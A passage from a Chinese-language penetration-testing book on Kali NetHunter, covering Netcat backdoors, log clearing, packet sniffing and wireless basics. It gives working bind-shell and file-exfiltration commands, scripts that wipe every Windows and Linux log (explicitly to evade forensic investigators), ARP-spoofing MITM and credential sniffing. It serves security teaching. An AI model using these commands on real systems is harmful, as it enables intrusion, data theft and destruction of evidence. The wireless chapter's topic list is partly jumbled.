  • 后门:在入侵系统后,黑客会在受损的计算机中创建多个入口。这是为了确保攻击者始终有一种方式进入计算机,无论是出于远程访问目的还是为了外泄数据。这就是所谓的后门。后门通常是当特洛伊木马病毒安装在主机计算机上时创建的。

  • 键盘记录器:这是一种软件或硬件设备,具有从用户键盘记录按键的能力。

提升权限

在入侵操作系统(如 Windows)之后,您将在系统上拥有有限的特权。这意味着如果您尝试执行某些命令或运行应用程序,内置安全性将拒绝此类操作。如果您能够破坏用户帐户,它可能也是一个具有有限特权的标准用户。作为渗透测试人员,我们希望能够在受害机器上执行任何命令和应用程序,而不受任何限制。

因此,根据渗透测试的目标,您可能需要在 Windows 环境中获得"管理员"特权,或者在基于 Linux 的系统上获得 root 级别访问权限。

在目标上执行应用程序

一旦获得访问权限并获得足够的特权,就该执行受害者上的应用程序了。在这一点上执行哪些类型的应用程序或操作是您需要决定的,但您可以做的事情非常多。

练习-使用 Netcat 种植后门

Netcat就像 TCP/IP 堆栈中的瑞士军刀。它是一个非常受欢迎的网络工具,为网络和安全专业人员提供了许多功能;其中一些功能包括以下内容:

  • 能够在网络上传输数据

  • 能够传输文件

  • 打开服务端口

  • 进行端口扫描和横幅抓取

Netcat 并不特定于操作系统;它适用于 Windows 和 Linux 平台。在本节中,我们将看一些 Netcat 的例子和用法。

要连接到另一台机器,请执行以下操作:

nc <host IP address> < port> 

要监听入站连接,请发出以下命令:

nc -l -p <port> 

只需用远程系统上的任何未使用的有效端口替换端口号。

在您希望连接的系统上运行以下命令:

nc <remote host IP address> <remote port> 

这个命令表示要联系远程系统,然后连接到您告诉nc在远程系统上监听的端口。

让我们再深入一点。

现在让我们在目标系统上创建一个后门,我们可以随时使用。根据您是否针对 Linux 或 Windows 系统,命令会略有不同。

对于 Windows,我们使用以下命令:

 nc -l -p <port number> -e cmd.exe

对于 Linux,我们使用这个:

nc -l -p <port number> -e /bin/bash 

在这两个命令中,使用-e 开关来在连接到命令 shell 时执行命令。这意味着我们将在本地获得一个 shell,我们可以用它来向远程系统发送命令。然后,在我们的攻击系统上,我们输入以下内容:

nc <remote host IP address> <remote port> 

在这一点上,如果您成功执行了命令,您将看到一个命令提示符,允许您与远程系统进行交互。

Netcat 也可以用于从目标中转移文件和数据。我们可以使用隐蔽连接将数据慢慢复制到我们的本地系统。在这个例子中,我们将转移一个名为passwords.xls的文件,可能是一个包含密码的 Excel 文件。

从源系统,我们输入以下内容:

type passwords.xls | nc <remote IP> <remote port>  

这个命令表示要显示passwords.xls文件,然后将其管道(|)到 netcat (nc)到192.168.1.104远程 IP 地址通过端口6996

从目标系统,我们输入以下内容:

nc -l -p 6996 > passwords.xls 

这个命令表示要在端口(p)6996上创建一个监听器(l),然后将在此监听器上接收到的数据发送到名为passwords.xls的文件中。

总结

我们开始时看了如何利用在前几步中收集的有关目标的信息。在前几章中收集的信息是通过与目标的直接交互来逐渐增加的。我们的目的是获得更多信息,以便在尝试更少侵入性的情况下利用系统。

通常我们会先破解或恢复密码,以获取账户访问权限,然后尝试通过特权升级来获得对系统的额外访问权限。有了这种增加的访问权限,就有可能执行更具侵入性的任务。攻击者通常可能尝试执行的常见操作包括安装软件、安装远程软件,或者创建其他后门以便以后访问。

在下一章中,我们将学习如何清除痕迹并从目标系统中删除证据。

进一步阅读

请参考 Kali Linux/Kali NetHunter 工具列表:tools.kali.org

第六章:清除目标上的痕迹和移除证据

渗透测试过程中最重要的一个方面是确保系统上没有任何被入侵的痕迹。就像黑客一样,你的目标可能是入侵目标系统或网络,然而,在终止连接或退出受害者系统时,确保没有任何日志或残留数据留下是非常重要的。此外,在渗透测试期间,可能会生成额外的数据,这些数据会在系统和网络上留下痕迹。

在本章中,我们将涵盖以下主题:

  • 清除 Windows 上的日志

  • 清除 Linux 上的日志

  • 从目标中删除文件

让我们深入研究一下!

清除痕迹

网络安全领域正以指数级增长;需要专业人员来帮助打击和保护组织和公民免受网络威胁和威胁行为者的需求非常高。网络攻击可以是任何来自网络钓鱼邮件、恶意软件感染,甚至勒索软件攻击;网络安全组织和认证机构,如 EC-Council 和 GIAC,认识到数字世界中取证对于调查是多么重要,以确定发生了什么事情,攻击是如何发生的,威胁行为者等等细节,这些都可以帮助检察机关在法庭上进行起诉。

在网络安全领域,安全事件是由组织的系统或网络触发的事件,表明存在被入侵的迹象。安全事件的一个例子是员工计算机上运行的恶意文件。反恶意软件保护软件将检测并触发警报以进行调查。

数字取证领域为许多新工作打开了大门,例如第一响应者、事件处理者、网络取证调查员和恶意软件研究员。这些职称都有一个共同的目标:确定系统是如何被威胁行为者入侵的。对于系统上的任何操作,无论是用户还是应用程序,都会生成并存储系统日志消息以供核算目的。在取证调查期间,检查员通常会尝试从系统中检索日志。日志消息将指示安全事件的整个历史。

日志类型及其位置

在本节中,我们将讨论渗透测试人员应考虑删除的各种类型的日志以及这些日志的位置。

DHCP 服务器日志

这些日志保留了网络上 IP 地址分配的记录。此日志存储了潜在的 DHCP 客户端和 DHCP 服务器之间发生的所有交易。最重要的是,客户端的媒体访问控制MAC)地址将存储在日志消息中。以下是 DHCP 服务器日志的位置:

  • Windows 系统中的 DHCP 日志存储在%SystemRoot%\System32\dhcp目录中。

  • 在 Linux 上,要查看 DHCP 日志,我们可以使用cat /var/log/syslog | grep -Ei 'dhcp'命令。

Syslog 消息

当组织内发生网络攻击时,无论是中间人攻击还是系统充当僵尸机器并成为僵尸网络的一部分,都会进行调查。取证调查员不仅对计算机、笔记本电脑和服务器进行调查和分析,还对网络进行调查。对于网络上发生的每个会话或交易,诸如防火墙、入侵检测/防御系统(IDS/IPS)和其他网络安全设备都会为所有流量生成日志。设备使用Syslog协议和框架以统一格式生成日志消息,其中包含网络专业人员所需和理解的所有必要细节。

在 Linux 系统上,Syslog 位于/var/log/syslog

数据包分析

此外,深入研究网络取证,调查员进行数据包分析,观察网络段上的任何异常情况。数据包分析允许调查员确定以下内容:

  • 攻击来源

  • 上传和下载的文件

  • 网络上的流量类型

  • 攻击时间

  • 提取的文物,如文件

  • URL 和域名

  • 攻击期间的受害机器

  • 遥测信息

Web 服务器日志

这些日志存储了 Web 服务器和客户端 Web 浏览器之间的所有 Web 活动的日志消息。以下是每个 Web 服务器的位置:

  • Internet Information Server (IIS)日志文件位于%SystemDrive%\inetpub\logs\LogFiles

  • Red Hat、CentOS 和 Fedora 中的 Apache 日志存储在**/**var/log/httpd/access_log/var/log/httpd/error_log中。

  • 对于 Debian 和 Ubuntu 系统,Apache Web 服务器日志可以在/var/log/apache2/access_log/var/log/apache2/error_log中找到。

  • FreeBSD Apache 日志位于/var/log/httpd-access.log/var/log/httpd-error.log

数据库日志

在渗透测试期间,您可能会被要求操纵目标数据库,无论是创建、修改、删除还是提取信息。在这样做的过程中,数据库会生成自己的一套日志消息。

Microsoft SQL Server 的数据库日志可以在\\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\*.MDF\\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\*.LDF找到。调查人员可以检查数据库的错误日志以查找任何可疑活动,这些可以在\\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\LOG\ERRORLOG找到。

事件日志

事件日志是对系统上采取的行动的记录,无论是否有用户干预。事件日志记录了用户是否成功访问系统或登录尝试失败的安全日志,应用程序日志记录了操作系统上启动或终止程序的情况。事件日志记录了系统上发生的一切,从开机到关机。

在 Windows 10 操作系统中,事件日志存储在注册表中的以下位置:

HKLM\System\ControlSet00x\Services\EventLog

要查看 Windows 10 上可用的事件日志列表,使用wevtutil el命令:

image

此外,使用wevtutil gl <name of log>命令将呈现所选日志的配置信息:

image

此外,Windows 系统日志存储在本地系统的C:\Windows\System32\winevt\Logs中:

image

简单地修改或删除这些位置存储的日志文件将对取证调查团队构成挑战;难以确定攻击的实际顺序,并降低被抓到的机会。

在 Windows 上清除日志

在 Windows 操作系统中,Event Viewer是一个应用程序,它在一个仪表板中呈现了所有ApplicationSecuritySetupSystem logs。要访问Event Viewer,点击Start | Windows Administrative Tools | Event Viewer

image

在 Windows 上打开Event Viewer的另一种方法是,只需在键盘上按 Windows + R,打开Run提示,然后键入eventvwr.msc并单击OK

Event Viewer窗口,可以通过在Action窗格上选择Clear Log功能来清除日志。要清除特定类别的日志,例如所有位于Application组中的日志,只需右键单击组名,然后选择Clear Log

使用 PowerShell 在 Windows 上清除日志

PowerShell 是一个非常强大的命令行界面,可以让系统管理员在 Windows、MacOS 和 Linux 操作系统上快速执行和自动化操作和任务。

首先,点击 Windows 图标,即桌面左下角的开始图标,然后键入powershell。Windows PowerShell 应用程序将出现,只需点击它以进行操作,如下图所示:

image

确保您以Windows PowerShell管理员身份运行。以管理员权限运行程序或应用程序将消除标准用户遇到的任何限制。这些限制将包括安全权限。

现在,让我们做一些练习来清除日志:

  • 练习 1:清除所有事件日志

使用wevtutil el | Foreach-Object {wevtutil cl “$_”}命令将清除 Windows 上的事件日志:

image

执行命令后,日志现在已被清除,如事件查看器中所见:

image

  • 练习 2:从计算机中清除特定日志

Clear-EventLog命令允许管理员清除/擦除特定事件类别的所有日志消息。使用此命令的语法是Clear-EventLog <LogName>

image

如果您回忆起,使用wevtutil el命令将为您提供系统上日志类别的列表。

使用Get-Help参数后跟Clear-EventLogcmdlet 将为您提供其他选项:

image

我们已经完成了 PowerShell 练习。接下来我们将看看如何使用命令提示符来清除下一节中的日志。

使用命令提示符在 Windows 中清除日志

在本节中,我们将看看如何使用命令提示符来清除 Windows 操作系统上的日志:

  • 练习 1:清除单个日志

以前,我们在 Windows 命令提示符上使用wevtutil el命令来查看日志类型/类别的列表。我们可以使用wevtutil cl后跟特定日志来擦除/清除日志类别中的条目:

image

此外,clear-log语法可以用作cl的替代:

image

  • 练习 2:使用单个脚本清除所有日志

当我们运行wevtutil el命令时,我们看到了一个很长的事件日志类别列表。然而,清除每个类别是非常耗时的,因此在执行时使用以下脚本清除每个类别:

for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"

image

如前面的屏幕截图所示,在执行我们的命令后,每个日志文件都被清除了。在下一节中,我们将讨论在 Linux 中清除日志的方法。

在 Linux 中清除日志

与所有操作系统一样,Linux 系统上也会生成和存储日志。日志文件是系统上发生的所有活动的记录。以下是 Linux 日志文件的一般位置:

image

image

以下是 Linux 系统上的其他日志位置:

  • 示例 1:使用 null 清除日志

在这个例子中,我们将使用 null,一个不存在的对象,来删除文件的内容。我们将清除 Linux 系统上 Apache access.log文件的日志。空对象是操作系统中没有任何属性或特征的实体。

要发现文件的位置,请使用locate命令后跟文件名。在这个练习中,我们使用locate access.log命令来显示包含access.log字符串序列的所有文件的位置:

image

此外,我们可以使用locate apache2 | grep “access.log”命令来发现属于 Linux 包的文件并过滤我们的搜索。

接下来,我们将使用cat命令后跟文件路径来确定是否有任何日志条目:

image

正如我们所看到的,前面的屏幕截图中包含了access.log文件中的条目。此外,我们使用du –sh <filename>命令来确定文件大小;如果是 0 KB,则文件为空,如果文件大小大于 0 KB,则文件包含条目:

image

现在我们将使用cd /var/log/access.log命令切换到access.log文件的位置,并将 null 重定向到文件:

image

如果我们再次对文件使用cat命令,我们会看到没有条目,文件大小为 0 KB:

image

  • 练习 2:使用 True 实用程序清除日志

另一种清除/删除文件中日志的技术是使用True实用程序。我们已经向我们的 Web 服务器生成了一些流量,如下面的屏幕截图所示:

image

目前,我们的文件大小为 8 KB:

image

使用true命令后跟文件名或带有文件的路径将擦除条目:

image

true命令/实用程序有一个描述,说它不做任何工作或什么都不做,成功。

我们现在可以验证文件中没有条目,文件大小为 0 KB:

image

  • 使用 Meterpreter 清除 Windows 日志

在 Metasploit 框架中,存在一个非常先进和动态可扩展的有效载荷,称为Meterpreter。在渗透测试的利用阶段使用这个实用程序,它将允许您在目标系统上执行分段有效载荷,这可以在目标系统和攻击者的机器之间创建绑定甚至反向 shell。

Metasploit 是由 Rapid7 创建的一个开发框架(www.rapid7.com)。它允许渗透测试人员收集有关目标的信息,发现漏洞,创建和传递利用和有效载荷到目标,并创建后门。这就像一个渗透测试人员的工具包,用于发现和利用漏洞。

Meterpreter 旨在具有隐秘性、强大性和可扩展性。一旦成功利用了系统,您可以使用clearev命令清除以下日志:ApplicationSystemSecurity

image

如前面的屏幕截图所示,Meterpreter 正在清除目标系统上每个类别的日志。清除的条目数也列出。

总结

在本章中,我们讨论了在渗透测试期间保持隐秘的方法,同时模拟对目标系统和网络的攻击。我们讨论了各种类型的日志及其位置。此外,我们看了一些场景,我们在其中使用各种技术清除了 Windows 和 Linux 操作系统上的日志。

在下一章中,我们将介绍数据包嗅探和流量分析。我们将使用不同的技术来捕获流量,并使用各种工具进行分析,以获取机密信息。

第三部分:高级渗透测试任务和工具

在本节中,我们将学习 NetHunter 用于利用网络和无线设备的工具。我们还将了解如何选择用于测试的硬件适配器,并了解一些保护系统的技术。

本节包括以下章节:

  • 第八章,数据包嗅探和流量分析

  • 第九章,针对无线设备和网络

  • 第十章,避免被检测

  • 第十一章,加固技术和对策

第七章:数据包嗅探和流量分析

在渗透测试的侦察或信息收集阶段,我们对目标的信息和细节越多,就越有可能成功利用目标系统或网络上的漏洞。我们将研究 Kali Linux 和 NetHunter 中的各种嗅探和网络流量分析工具和实用程序。

在本章中,我们将涵盖以下主题:

  • 使用各种工具捕获网络流量

  • 数据包分析

让我们深入研究一下!

嗅探流量的需求

为什么渗透测试人员需要了解数据包嗅探的好处?数据包嗅探使渗透测试人员能够监视和捕获网络流量。在计算机网络上进行嗅探也是一种窃听行为。窃听涉及在电线上植入设备,例如网络电缆或电话线,以监视和捕获敏感数据。

以下是可能被数据包嗅探器捕获的一些敏感信息的示例:

  • Telnet 流量

  • FTP 用户名和密码

  • DNS 流量

  • Web 流量

  • 电子邮件流量

  • 通常,任何以明文格式发送的用户名和密码

这只是一小部分,但是还有很多信息以比特的形式通过网络发送。嗅探器可以是硬件或软件,用于植入网络。基于硬件的嗅探器通常至少有两个接口(端口);这允许基于硬件的嗅探器放置在网络上并拦截通过它的所有网络流量。

以下图表显示了一个放置在网络中的网络嗅探器,位于交换机和路由器之间。来自客户设备(例如 PC)的所有流量,无论是发送到路由器或路由器以外,反之亦然,都将被设备或攻击者机器拦截和捕获。但是,如果 PC 之间进行互相通信,例如 PC1 向 PC3 发送数据,网络嗅探器将无法拦截或捕获流量,因为此流量不会通过它:

image

基于硬件的嗅探器可以是非常小的设备,可能只有信用卡大小或火柴盒大小。以下是 Hak5 制造的 Packet Squirrel 的图片(shop.hak5.org)。它的功能之一是捕获通过内联传递的流量并将其存储在 USB 闪存驱动器上(可连接)。该设备既适用于渗透测试人员,也适用于系统管理员,因为它包含允许系统管理员远程访问网络并在局域网内对设备执行故障排除技术的功能:

image

正如我们所看到的,这是一个内联数据包嗅探器。它将能够捕获和存储通过它的所有网络流量。

数据包嗅探技术类型

通常使用以下技术进行数据包嗅探:

  • 主动嗅探

  • 被动嗅探

主动嗅探

主动嗅探涉及渗透测试人员执行的某种操作,例如将用户流量重定向到另一个网关,以监视和捕获网络上的数据包。渗透测试人员可以通过修改 ARP 表中的 IP-MAC 条目,在受害者的机器上执行 ARP 缓存中毒攻击。

向交换机中注入虚假的 MAC 地址将导致 CAM 表溢出,使交换机将所有传入流量泛洪到所有其他端口。

此外,在网络上安装一个 Rogue DHCP 服务器会为客户端提供一个非法的默认网关和 DNS 服务器。受害者的流量将被重定向到潜在的恶意网站,并且他们的流量可能会被拦截。

渗透测试人员需要执行一个先导攻击,以引起受害者流量的重定向。 以下图表简要介绍了主动嗅探:

image

前面的图表描述了典型的中间人(MITM)攻击。

被动嗅探

被动嗅探不需要太多干预。 它允许渗透测试人员在不必发起任何攻击来重定向用户流量的情况下监视和捕获网络流量。 在被动嗅探中,渗透测试人员将与网络上的一个集线器建立连接,因为集线器会将传入的信号广播到所有其他端口。

下图显示了一个被动嗅探的例子,攻击者连接到网络段上的一个集线器,并将沿线传递的所有流量的副本发送到他们的机器:

image

前面的拓扑图显示了在网络上实施集线器的效果。

数据包嗅探的工具和技术

在本节中,我们将讨论各种工具和技术,这些工具和技术可以帮助渗透测试人员成功地捕获网络上的数据包。

Aircrack-ng

最流行的无线破解工具之一是 Aircrack-ng。 Aircrack-ng 实际上是一套专门用于无线网络的多个安全审计工具。

Aircrack-ng 套件允许渗透测试人员监视无线网络,捕获空中数据包,执行各种类型的攻击,创建伪造的接入点(APs),并执行 WEP 和 WPA 破解。

在第十三章选择 Kali 设备和硬件中,我们简要讨论了使用外部无线网络接口卡(NICs)(例如 ALFA Network AWUS036NHA)。 您如何确定无线 dongle 或 WLAN NIC 能否在目标网络上进行监视或执行数据包注入? 在 aircrack-ng 中,存在一个名为 airmon-ng 的工具,它允许您测试无线 NIC 的兼容性。

有关 Aircrack-ng 工具套件的更多信息,请访问它们的官方网站:www.aircrack-ng.org

在 aircrack-ng 套件中,使用 airmon-ng 工具来监视无线网络。 此工具可以帮助渗透测试人员确定以下内容:

  • 扩展服务集标识符(ESSID)

  • 基本服务集标识符(BSSID)

  • 目标无线网络上使用的无线加密标准

  • 渗透测试人员的机器与无线路由器之间的大致距离

  • 无线网络的操作频道

使用 airmon-ng 观察无线网络

首先,我们将验证设备上可用的无线接口数量。 为此,请使用iwconfig命令,如下图所示:

image

仅使用airmon-ng命令将为您提供本地无线接口的列表:

image

要开始,您必须终止可能在启用监视模式时引起干扰的任何进程。 使用airmon-ng check kill命令在 Kali NetHunter 上检查并终止这些进程:

image

接下来,我们将使用airmon-ng start wlan1命令启用无线网卡进入监视(混杂)模式:

image

您可以使用iwconfig命令来确定设备上可用的无线接口数量。

输出后,会出现一个新的逻辑接口:wlan1mon。 此接口将用于在 Aircrack-ng 中执行所有监视和捕获功能。

接下来,要查看周围所有无线网络,请使用airodump-ng wlan1mon命令:

image

在截图的上部分,我们可以看到以下内容:

  • BSSID:接入点或无线路由器的媒体访问控制(MAC)。

  • PWR:功率评级。功率级别越低,距离我们越远。

  • Beacons:特定 AP 或无线路由器发送的信标消息数量。

  • CH:无线路由器正在运行的信道。

  • Enc:加密标准,如 WEP、WPA、WPA 或 Open。

  • Cipher:加密标准中使用的加密密码。

  • Auth:认证机制,如预共享密钥(PSK)或管理(MGT)。

  • ESSID:移动设备看到的无线网络的名称。这也被称为服务集标识(SSID)。

让我们也观察一下输出的下部分:

image

STATION列显示了通过 BSSID 值与特定无线路由器关联的客户端的 MAC 地址。功率级别提供了客户端和您的设备之间的大致距离。探针显示了客户端正在寻找的网络(SSID)。

为了更上一层楼,使用以下命令将允许渗透测试者监视、捕获和保存捕获的数据副本以供离线分析:

airodump-ng –w offline_file –c <channel number> --bssid <MAC addr of router> wlan1mon

以下是一个截图,演示了如何使用一系列命令 - 目标无线路由器的 MAC 地址的一部分被模糊处理以保护隐私:

image

-w允许您在接口上存储流量监视器的副本。-c指定要监听的信道。信道号应与目标网络相同。--bssid指定目标无线路由器的 MAC 地址。

默认情况下,文件保存在设备的根目录中。如果您在另一个目录中工作,请使用ls -l命令查看当前目录的内容。如果您不确定当前路径,请使用pwd命令,它会显示您当前的工作目录。

Arpspoof

渗透测试者可以使用的一种技术是执行 MITM 攻击,以确保他们能够捕获受害者的流量。让我们想象一下,在一个无线网络上有两个人,Alice 和 Bob。他们都希望在网络上交换一些消息。然而,有一个渗透测试者的任务是观察和捕获网络流量。

Alice 和 Bob 将他们的移动设备连接到无线路由器或接入点(AP)并开始通信。无线路由器是一个中间设备,将处理他们所有的流量转发:

image

使用 arpsoof,渗透测试者能够欺骗路由器的媒体访问控制MAC)地址,以欺骗受害者,使网络上的其他用户相信渗透测试者的机器现在是路由器或默认网关。以下图表显示了渗透测试者连接到与 Alice 和 Bob 相同的无线网络。现在的目标是说服 Alice 的机器,唯一的方法是将所有流量发送到渗透测试者,反之亦然,以便 Bob 的网络流量:

image

以下是arpspoof工具中使用的语法:

arpspoof –i <interface> -c <host ip> -t <target ip> <host ip> -r
  • -i:允许您指定一个接口

  • -c:指定硬件地址

  • -t:指定目标,如默认网关

  • host:指定要拦截数据包的主机

  • -r:允许捕获双向流量

要执行成功的 MITM 攻击,我们将有一个受害者,Alice,和一个连接到同一网络的渗透测试者。目标是确保 Alice 的机器认为默认网关是渗透测试者的机器:

image

Alice 和渗透测试者都连接到同一个无线网络(虚线)。然而,渗透测试者使用以下命令来确保 Alice 的所有流量都经过他们的机器,然后再由他们的机器转发到实际的默认网关:

arpspoof –i wlan0 –t 172.16.17.18 –r 172.16.17.14

image

一旦命令在渗透测试者的机器上执行,它将持续发送伪造的 ARP 消息到 Alice 和默认网关(无线路由器),以确保它们的本地 ARP 缓存被更新并包含了伪造的 ARP 条目。

Dsniff

正如创建者所描述的,Dsniff是一个网络审计工具和密码嗅探器的集合。它为渗透测试者提供了执行中间人攻击、数据包分析和捕获网络数据包的能力。

在 Kali Linux 或 Kali NetHunter 上使用以下命令将启用 Dsniff 来监听指定接口上的任何流量:

dsniff -i <*network adapter*>

以下命令是使用dsniff来监视设备上wlan0接口上的流量的示例:

dsniff –i wlan0

image

Kismet

另一个在 Kali NetHunter 中非常流行的无线监控工具是 Kismet。Kismet就像无线网络的瑞士军刀。它可以在无线网络上嗅探数据包,为渗透测试者提供了 war-driving 功能,并能够检测目标网络上的各种无线攻击和威胁。

要开始,可以在 Kali NetHunter 的终端中输入kismet。你应该会看到以下屏幕出现;通过按下Enter键选择OK

image

Kismet 将询问你是否允许自动启动 Kismet 服务器;只需选择是:

image

接下来会出现以下窗口。你可以启用/禁用日志记录,并为日志文件设置一个标题,如果你决定启用日志记录的话。我建议在选择开始之前禁用显示控制台选项。禁用显示控制台选项将直接进入 Kismet 的监控用户界面:

image

如果你继续使用默认参数,下面的窗口是控制台窗口,显示了 Kismet 所做的每个活动的日志。只需点击关闭控制台窗口即可查看 Kismet 的监控用户界面:

image

现在你已经进入了 Kismet 的主界面,让我们熟悉一下它并了解它的功能。要添加一个监控源,比如一个无线接口,选择Kismet | 添加源

image

我选择将我的wlan1mon接口作为源。记住,你可以在 Kali NetHunter 上使用iwconfig命令来确定你可用的无线接口:

image

Kismet 有能力确定设备的制造商。

一旦你成功将源接口添加到 Kismet 上,你将开始看到各种无线网络出现在窗口的上半部分。通过选择一个无线网络,相关的客户端将显示在下半部分:

image

要获取有关目标网络的更多详细信息,请选择Windows | 网络详细信息。正如我们所看到的,Kismet 为我们提供了一个简化的视图,显示了目标网络的名称(SSID)、BSSID(MAC 地址)、设备类型、操作频道、无线电频率、信号强度和加密标准和类型:

image

Tcpdump

简单来说,tcpdump工具是一个命令行协议分析器。在远程访问渗透测试的情况下,比如你的 Kali NetHunter 设备或者附近目标无线网络中的树莓派,这个工具非常有用。

要启用监视,输入tcpdump –i wlan0命令:

image

请注意,一旦输入了先前的命令,结果就开始在命令行界面中显示。这可能非常具有挑战性,进行实时分析。我建议您首先捕获数据包并将其存储在离线文件中,然后进行分析。

要捕获网络数据包并将其存储在离线文件中,我们可以使用tcpdump –i wlan0 –w tcpdumpcapture.pcap命令:

image

-w参数允许您指定要写入捕获数据的文件。在捕获过程中,结果不会显示在屏幕上,而是写入tcpdumpcapture.pcap文件。

使用ls –l | grep .pcap命令,我们可以看到文件存在如预期的那样:

image

要验证或读取文件中写入的数据,使用tcpdump –r <filename>命令:

image

TShark

TShark是另一个命令行网络协议分析器。它具有类似的功能,可以捕获实时网络上的流量,甚至读取先前保存以供进一步分析的离线捕获。它的许多功能与先前提到的工具tcpdump类似。

要捕获数据包并将数据输出到文件中,我们可以使用tshark –i <interface> -w <output file>命令:

image

再次注意,实时流量不会显示在终端上,因为它被写入tsharkcapture.pcap文件。但是,如果不使用-w参数,我们将看到命中我们的wlan0接口的所有流量:

image

输出显示我的网络上的另一台机器正在尝试为 Dropbox 执行 LAN 同步。

MITM 框架

对于这个工具,名字就说明了一切。这是一个包含许多功能的 MITM 框架,比如捕获受害者的 cookie 信息,执行键盘记录功能和地址解析协议(ARP)注入攻击,以及欺骗。

在这个练习中,我们将拦截受害者和默认网关之间的数据包。要开始,请在您的 Android 设备上打开菜单并打开 NetHunter 应用程序:

image

打开应用程序后,使用左侧的内置菜单展开类别列表。您将看到 MITM 框架与列表,点击它打开:

image

将出现以下窗口,只需选择要用于攻击的接口:

image

完成后,向右滑动,直到进入欺骗设置选项卡。只需启用欺骗插件,选择重定向模式为 ARP,并设置网关地址和受害者的 IP 地址,如下面的屏幕截图所示:

image

一旦所有参数都配置好,选择开始 MITMf 攻击开始拦截数据包。记住,您可以使用先前提到的任何数据包捕获工具,如 TShack、Tcpdump,甚至 Dsniff,来捕获和存储离线数据包以供以后分析。

数据包分析技术

在本节中,我们将讨论使用 Kali NetHunter 中的工具进行数据包分析。我们将使用来自wiki.wireshark.org/SampleCaptureswww.honeynet.org/challenges的各种示例文件,因为这些示例是为教育目的而制作的,并包含通常在生产网络上找到的大量数据。

Dsniff

我们之前使用 Dsniff 来捕获数据包,但现在我们将使用它来帮助我们重新组装并查看离线 PCAP 文件中发生的明文事务。对于此练习,我们将使用来自wiki.wireshark.org/SampleCaptures#Telnettelnet.cooked.pcap文件。

使用dnsiff –p <filename>命令来启用来自离线先前保存的捕获文件的内容的处理。如下图所示,有两个设备之间进行了通信:

image

以下是我们能够解释的信息:

image

此外,我们知道这是一个由 Dsniff 识别的 Telnet 连接,目的端口是23。接下来的文本是从客户端(192.168.0.2)发送到 Telnet 服务器(192.168.0.1)的实际命令。

Tshark

我们可以使用 TShark 从我们的离线 PCAP 文件中收集信息。要获取用于访问每个唯一网站的每个 Web 浏览器的副本,我们可以使用以下命令:

tshark -r conference.pcapng -Y http.request -T fields -e http.host -e http.user_agent | sort –u | uniq -c | sort -n

我们能够看到每个 URL(在下面的截图中左侧)和发出HTTP GET请求到 Web 服务器的用户代理(Web 浏览器):

image

让我们尝试检索所有 DNS 查询。为此,我们可以使用以下命令:

tshark -r conference.pcapng | grep "Standard query" | cut -d "A" -f 2 | sort –u

这个命令从conference.pcapng文件中读取内容,并创建一个初始过滤器,只显示包含Standard query字符串的行。完成后,它将删除任何不必要的数据,并显示 DNS 查询中的每个唯一域名或主机名:

image

如何从保存的捕获文件中提取工件?使用 TShark 是可能的。使用–export-objects [smb, http, smb, tftp] <output_folder>命令来提取对象。在这个例子中,我们将提取使用 HTTP 应用程序协议传输的所有文件。我们首先使用以下命令:

tshark -nr conference.pcapng --export-objects http,tshark_folder

然后我们验证提取是否成功:

image

Urlsnarf

Urlsnark用于从实时网络流量甚至离线.pcap文件中嗅探 HTTP 请求。这个工具可以帮助我们确定网络上的客户端访问了哪些网站。对于此练习,我们将使用来自www.honeynet.org/node/1220conference.pcap文件。

要开始,请下载并在设备上离线保存。使用urlsnarf –p <file>命令来获取所有 HTTP 数据:

image

但是,正如你所看到的,输出非常庞大。让我们创建一个过滤器,只提供此文件中的 HTTP URL。我们可以使用以下命令:

urlsnarf -p conference.pcapng | grep "http://" | cut -d "/" -f 5

image

我们的输出现在清晰多了。我们有了在此捕获期间用户访问的所有 URL 的列表。让我们创建另一个过滤器,以确定每次通信期间的用户代理(客户端的 Web 浏览器)。使用以下命令将删除重复项并对输出进行排序:

urlsnarf -p conference.pcapng | grep "http://" | cut -d '"' -f 6 | sort –u

image

Tcpdump

我们可以使用 Tcpdump 来查看用户代理,使用tcpdump –r <file> -nn -A -s1500 -l | grep "User-Agent:" | sort –u命令,如下图所示:

image

如前所述,用户代理确定 Web 浏览器。这些信息在取证调查中可能很有用。此外,我们可以使用tcpdump来查看捕获文件中的所有源和目的 IP 地址。

要获取源 IP 地址和源端口的列表,我们可以使用以下命令:

image

查看所有目标 IP 地址和目标端口号,请使用以下命令:

image

总结

在本章中,我们讨论了在网络上嗅探和分析数据包的好处。主要目的是捕获敏感信息,这将帮助我们进行渗透测试。我们比较和对比了主动和被动嗅探技术。此外,我们演示了使用 Kali NetHunter 上的一套工具进行各种数据包捕获技术和分析。希望本章对您的学习和职业有所帮助。

在下一章中,我们将涵盖针对无线设备和网络的目标。

第八章:针对无线设备和网络

十年前,世界上没有那么多移动设备。那时,只有笔记本电脑使用无线网络技术,直到智能手机行业起步。现代组织正在采用“自带设备”(BYOD)概念,即组织允许员工安全地连接他们的个人移动设备,如智能手机、平板电脑或笔记本电脑,到企业网络,这将提高整体生产力。

随着越来越多的移动设备进入企业网络,这引发了一些安全问题,威胁着企业无线和有线网络基础设施的安全姿态。此外,无线网络设备(如接入点(AP)或无线路由器)的配置可能不符合公司的标准。有时,网络管理员可能会忘记应用安全配置,或者仅仅使用默认设置在生产网络中部署设备。

在本章中,我们将讨论以下主题:

  • 无线网络类型

  • 无线标准

  • image

  • 无线加密标准

  • 无线威胁

  • 在“独立基本服务集”(IBSS)中,这种设计/拓扑中没有接入点或无线路由器。每个客户端设备都通过 IEEE 802.11 标准与其他设备建立连接。这被称为自组织网络:

  • 蓝牙黑客

在无线网络出现之前,每个设备都需要一根物理电缆,将设备的网络接口卡(NIC)连接到网络交换机,以便与其他设备通信和共享资源。使用有线网络的主要限制是,诸如计算机或服务器等终端设备受到网络电缆长度的限制。与大多数类别(CAT)电缆一样,如 CAT 5、5e 和 6,最大电缆长度为 100 米。此外,不得不携带非常长的电缆四处移动有时对某些用户来说太令人沮丧了。

IEEE 802.11 标准的创建,使用无线电信道,为现代无线网络铺平了道路。

以下是使用 IEEE 802.11 无线网络的一些优势:

  • 它消除了需要为每个终端设备布线的需求

  • 它为难以铺设网络电缆的区域提供网络连接

  • 它允许设备在接入点(AP)或无线路由器的范围内漫游

然而,使用无线网络也会引发一些问题。以下是使用 IEEE 802.11 的一些缺点:

  • 由于安全漏洞,无线加密可能会被破解

  • 无线网络的带宽通常低于有线网络

  • 无线认证模式

  • 信号随距离减弱

无线网络拓扑

